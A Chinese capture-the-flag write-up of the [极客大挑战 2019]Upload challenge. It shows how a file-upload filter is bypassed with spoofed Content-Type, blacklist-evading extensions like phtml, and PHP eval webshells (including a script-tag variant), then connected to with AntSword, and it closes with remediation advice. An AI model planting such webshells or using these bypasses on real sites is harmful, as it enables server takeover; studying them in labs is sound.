极客大挑战 2019 Upload.md

原始源文件

---
ingested: true
ingestedAt: 2026-05-21
---
标题: [极客大挑战 2019]Upload
UP主: 云水禅心
链接: https://www.cnblogs.com/Yunyiy1/p/18939417
提取方式: WebFetch

# [极客大挑战 2019]Upload

# 解题思路

![[ikvX1wSX7S.jpg]]

从靶场名和页面来看是文件上传,第一步先直接上传一个普通的一句话木马

php

```
<?php@eval($_POST['pwd']);?>
```
## 判断类型

我们直接先上传 php 文件,判断是否可以直接上传或提示上传的文件类型

![[vsn91wSX7S.jpg]]

上传后回显表示不是图片格式,说明上传的文件格式得是图片

(1)既如此,我们进行抓包,将 Content-Type(内容类型) 改为`image/png`然后放包

(2)又或者我们可以将文件后缀的`php`改成`png`再进行上传,但上传png文件服务器无法作为php代码执行,我们抓包将后缀改回php,然后放包

(两种方法没什么区别,看喜欢哪种)

![[eSUM1wSX7S.jpg]]

上传后回显not!php,说明不能上传php文件

![[ZuVH1wSX7S.jpg]]

**猜测这里属于黑名单过滤,对于黑名单我们只需要将文件后缀名改成不在黑名单内的即可(黑盒情况下一个一个试),例如`php1、php2、php3、phtml、ashx`等等**

我这边就不演示一遍一遍试了,直接将后缀改为`phtml`再进行上传

![[ktQf1wSX7S.jpg]]

回显告诉我们文件包含 <? 应该有检测文件头,我们修改代码如下:

php

```
<script language="php">@eval($_POST['pwd']);</script>
```
虽然使用了 script 标签,但通过language='php'属性,明确表示这是PHP代码。这段代码会在服务器端被PHP解释器执行

修改完成后再进行上传,这里后缀依旧是phtml

![[TvsS1wSX7S.jpg]]

回显上传成功,我们访问一下文件路径`/upload/你的文件名.phtml`如下:

![[EUo71wSX7S.jpg]]

## 连接服务器

接下来为了方便我们使用webshell连接工具连接服务器,我这边使用的是蚁剑

![[J42U1wSX7S.jpg]]

连接成功后在根目录下找到flag文件,若没找到flag或找到后打不开,可能是曾经使用过蚁剑,这里刷新一下就正常找到或打开文件

![[zTxm1wSX7S.jpg]]

最后得到flag

`flag{55c2d8ce-a939-4d15-bd71-b1087070ca6d}`

# 修复建议

1. 服务器配置
(1)将上传目录和上传文件设置为不可执行, 杜绝脚本执行。
(2)应保证服务器安全,避免文件解析漏洞。

2. 在服务端对上传文件进行检查:
(1)使用白名单控制上传文件类型,即只允许指定扩展名的文件上传。
(2)对上传文件后缀与MIME Type进行匹配校验, 对文件头信息与文件后缀进行匹配校验。
(3)对单个文件大小和总文件数进行限制, 避免拒绝服务攻击。
(4)对文件名进行输入校验,显示时进行输出编码。

3. 文件存储:
(1)上传文件应保存在指定路径下。
(2)对上传文件进行随机数重命名,避免文件被覆盖。
(3)设置上传文件路径, 使用户不能轻易访问自己上传的文件 。
(4) 文件应尽量保存在内容服务器或web目录外部,避免通过web应用直接访问上传的文件。

4. 对于图片文件进行二次渲染、压缩, 避免图片写马。

5. 校验失败后,记录错误日志信息,内容至少包括时间、用户、IP、操作内容、校验失败的参数及参数内容等。

原文:[https://blog.csdn.net/junbj/article/details/131570095](https://blog.csdn.net/junbj/article/details/131570095)